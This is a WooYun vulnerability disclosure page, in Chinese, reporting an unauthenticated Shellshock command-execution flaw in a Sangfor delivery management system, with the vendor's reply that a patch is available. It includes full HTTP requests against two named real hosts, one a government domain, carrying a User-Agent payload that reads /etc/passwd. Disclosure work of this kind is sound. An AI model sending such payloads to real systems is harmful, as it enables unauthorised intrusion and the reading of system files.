当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079154

漏洞标题:深信服某管理系统产品BASH远程命令执行漏洞(无需登陆)

相关厂商:深信服

漏洞作者: 路人甲

提交时间:2014-10-13 11:02

修复时间:2015-01-11 11:04

公开时间:2015-01-11 11:04

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-13: 细节已通知厂商并且等待厂商处理中
2014-10-14: 厂商已经确认,细节仅向厂商公开
2014-10-17: 细节向第三方安全合作伙伴开放
2014-12-08: 细节向核心白帽子及相关领域专家公开
2014-12-18: 细节向普通白帽子公开
2014-12-28: 细节向实习白帽子公开
2015-01-11: 细节向公众公开

简要描述:

深信服某系统BASH远程命令执行漏洞

详细说明:

深信服应用交付管理系统,多个版本存在bash远程命令执行漏洞
版本4.5,版本3.9都存在漏洞
版本4.5
https://cxxjs.com/cgi-bin/login.cgi?action=log&fro=self#

Host: cxxjs.com
User-Agent: () { :;}; echo `/bin/cat /etc/passwd`
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: adx_flag=1819988463
DNT: 1
Connection: keep-alive
Cache-Control: max-age=0


这里会在首页直接回显,或者点击查看版本,也会回显

111111.png


版本3.9
https://xtds.gov.cn/cgi-bin/login.cgi?action=log&fro=self&rand=0.12944530067034066#

Host: xtds.gov.cn
User-Agent: () { :;}; echo `/bin/cat /etc/passwd`
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive


然后点击产看版本,内容就是passwd的内容了

222222.png

漏洞证明:

111111.png


222222.png

修复方案:

升级

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-10-14 11:08

厂商回复:

感谢白帽子提出的问题!由于此次漏洞已经解决,所以降级处理,漏洞最终评定级别为低。
此漏洞已于今年9月24日bash漏洞爆出时被确认,补丁包已于9月25日发布,用于修复产品漏洞。本次漏洞提及的用户是由于使用beta版本和设备无法联网,导致未能升级bash补丁,我们的客服人员将快速联系用户,帮助用户完成版本升级和更新补丁包。
请白帽子私信留下联系方式,我们将会给您送出小礼品!

最新状态:

2014-11-17:对于使用了beta版本的用户,我们已经于10月14日给客户的设备版本进行了升级,并给用户打上了补丁包。对于设备无法联网的客户,我们的工程师已经于10月14日联系客户,并给客户打上了补丁包。